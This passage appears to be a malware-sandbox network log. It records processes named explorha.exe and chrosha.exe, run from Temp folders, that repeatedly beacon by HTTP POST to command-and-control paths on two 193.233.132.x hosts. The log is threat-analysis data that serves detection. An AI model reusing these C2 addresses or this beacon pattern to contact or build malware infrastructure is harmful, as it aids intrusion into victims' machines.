Apr 19, 2024 03:34:41.279551029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.5	50879	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:41.218952894 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:41.466609001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.5	50880	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:41.646644115 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:41.889575958 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.5	50881	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:41.723089933 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:41.979163885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.5	50882	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:42.136017084 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:42.382343054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.5	50883	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:42.346355915 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:42.589334011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.5	50884	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:42.740041018 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:42.982563019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.5	50885	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:42.836025000 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:43.082053900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.5	50886	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:43.229115009 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:43.476166010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.5	50887	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:43.450431108 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:43.701328039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.5	50888	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:43.839802980 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:44.084517956 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.5	50889	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:43.948596001 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:44.195633888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.5	50890	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:44.340338945 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:44.598221064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.5	50891	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:44.547676086 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:44.787472963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.5	50892	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:44.969702005 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:45.216371059 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.5	50893	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:45.041735888 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:45.296123028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.5	50894	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:45.481431961 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:45.739223003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.5	50895	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:45.665656090 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:45.914567947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.5	50896	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:46.105317116 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:46.354285002 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.5	50897	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:46.161844969 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:46.410968065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.5	50898	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:46.606901884 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:46.860388041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.5	50899	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:46.774112940 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:47.020931005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.5	50900	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:47.227557898 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:47.472685099 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.5	50901	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:47.274974108 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:47.526151896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
